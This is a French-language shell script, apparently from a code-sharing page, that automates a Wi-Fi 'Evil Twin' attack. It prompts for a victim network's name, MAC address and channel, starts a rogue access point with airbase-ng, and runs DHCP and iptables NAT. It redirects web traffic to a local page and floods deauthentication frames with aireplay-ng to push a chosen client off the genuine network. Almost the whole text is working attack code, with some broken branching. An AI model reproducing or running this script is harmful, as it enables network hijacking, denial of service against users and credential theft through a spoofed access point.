1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183
| #!/bin/sh
#DEFINED COLOR SETTINGS
RED=$(tput setaf 1 && tput bold)
STAND=$(tput sgr0)
BLUE=$(tput setaf 6 && tput bold)
echo ""
echo ""
echo ""
echo $RED" +############################################+"
echo $RED" + EVIL TWIN +"
echo $RED" + +"
echo $RED" + Version 1.O +"
echo $RED" + +"
echo $RED" + +"
echo $RED" +############################################+"
echo ""
echo ""
echo ""
sleep 2
clear
echo ""
echo ""
echo ""
echo ""
echo ""
echo $BLUE" Evil Twin script Version 1.0"
echo ""
echo $RED" ************************************************"
echo $RED" * 1. Install dhcp3-server *"
echo $RED" * 2. Evil Twin Atack *"
echo $RED" * 3. Sortir *"
echo $RED" ************************************************"
echo ""
echo ""
echo ""
echo ""
echo $BLUE" Donnez votre choix:"
read menuoption
if [ $menuoption = "1" ]; then
clear
Xterm -bg "blue" -fg "white" -geometry 100x7+0 -T "Installation de dhcp3-serveur" -e apt-get install dhcp3-server -y &
airbaseid=$!
else
if [ $menuoption = "2" ]; then
clear
echo "Donne l'interface AP"
read -e interface
echo -n "Donne le Essid du victime (Nom du Wifi)"
read -e ESSID
clear
echo -n "Donne le Bssid du victime (Mac du Wifi)"
read -e BSSID1
clear
echo -n "Donne le channel du victime"
read -e channel
clear
echo -n "Donne l'IP de ton Routeur"
read -e roteur_IP
clear
echo $BLUE" démarrage du mode moniteur mon0...."
echo "ifconfig $interface down"
sleep 1
ifconfig $interface down
echo "ifconfig $interface up"
sleep 1
ifconfig $interface up
echo "airmon-ng stop mon0"
sleep 1
airmon-ng stop mon0 &>/dev/null
airmon-ng stop mon1 &>/dev/null
airmon-ng stop mon2 &>/dev/null
airmon-ng stop mon3 &>/dev/null
clear
echo " killall -q aircrack-ng airodump-ng aireplay-ng xterm &>/dev/null"
sleep 1
killall -q aircrack-ng airodump-ng aireplay-ng xterm &>/dev/null
echo " airmon-ng stop $interface"
sleep 1
airmon-ng stop $interface
echo " airmon-ng start $interface"
sleep 1
airmon-ng start $interface
fakeap=$fakeap_interface
fakeap_interface="mon0"
Xterm -bg blue -fg white -geometry 100x7+0 -T "Airbase - $fakeap - $interface" -e airbase-ng -e "$ESSID" -c $channel -a
$BSSID1 $fakeap & airbaseid=$!
echo $BLEU" Configuration de l'interface at0...."
sleep 1
ifconfig lo up
ifconfig at0 up
ifconfig at0 192.168.1.7 netmask 255.255.255.0
route add -net 192.168.1.1 netmask 255.255.255.0 gw 192.168.1.7
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcp.pid at0
clear
echo $BLEU" Démarrage de serveur dhcp...."
sleep 1
xterm -bg blue -fg white -geometry 80x7-0+25 -T DHCP -e dhcpd3 -d -f -cf "/var/run/dhcpd/dhcpd.conf" at0 & dhcpid=$!
xterm -bg black -fg blue -T "DHCP log" -e tail -f /var/log/messages & dhcplogid=$!
echo $BLEU" Flash des Iptables...."
sleep 1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
clear
echo $BLEU" Configuration des Iptables...."
sleep 1
iptables --table nat --append POSTROUTING --out-interface $interface -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
clear
echo $BLEU" Démarrage de Apache"
echo $BLEU" > BackTrack -> Services -> HTTPD -> apache start"
sleep 10s
clear
echo $BLEU" Redirection vers la page local"
sleep 1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $roteur_IP:80
iptables -t nat -A PREROUTING -j MASQUERADE
echo $BLEU" Démarrage airodump-ng, pour avoir le BSSID d'un client...."
sleep 1
xterm -bg black -fg blue -T "DHCP log" -e airodump-ng --bssid $BSSID1 -c $channel $fakeap
echo -n "Donne le Bssid du client (Mac du Wifi)"
read -e BSSID2
clear
echo $BLEU" Neutralisation de la connexion entre le Wif et le client"
sleep 1
Xterm -bg blue -fg white -geometry 100x7+0 -T "Airbase - $fakeap - $interface" -e aireplay-ng -0 0 -a $BSSID1 -c $BSSID2
$fakeap & aireplayid=$!
clear
echo ""
echo ""
echo ""
echo $RED" ####################################################################"
echo $RED" [ Evil Twin attack est en route... ]"
echo $RED" [ ]"
echo $RED" [ ne touchez à rien ]"
echo $RED" [ ]"
echo $RED" [ quand c'est fini appuyez sur "y" + Enterrer pour Arrêter l'attack ]"
echo $RED" ####################################################################"
echo ""
echo ""
read WISH
# Kill all
else
if [ $WISH = "y" ]; then
clear
echo ""
echo $BLUE" Suppression de tous les messages"
echo ""
sleep 2
clear
kill ${airbaseid}
kill ${dhcpid}
kill ${dhcplogid}
kill ${aireplayid}
airmon-ng stop $interface
airmon-ng stop $fakeap
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
clear
echo ""
echo ""
echo $RED" [+][+][+] Tous est propre maintenant [+][+][+]"
echo $RED" [+][+][+] [+][+][+]"
echo $RED" [+][+][+] Merci [+][+][+]"
echo ""
echo ""
sleep 3
clear
./Evil_Twin.sh
else
if [ $menuoption = "3" ]; then
exit
fi
fi
fi |
Partager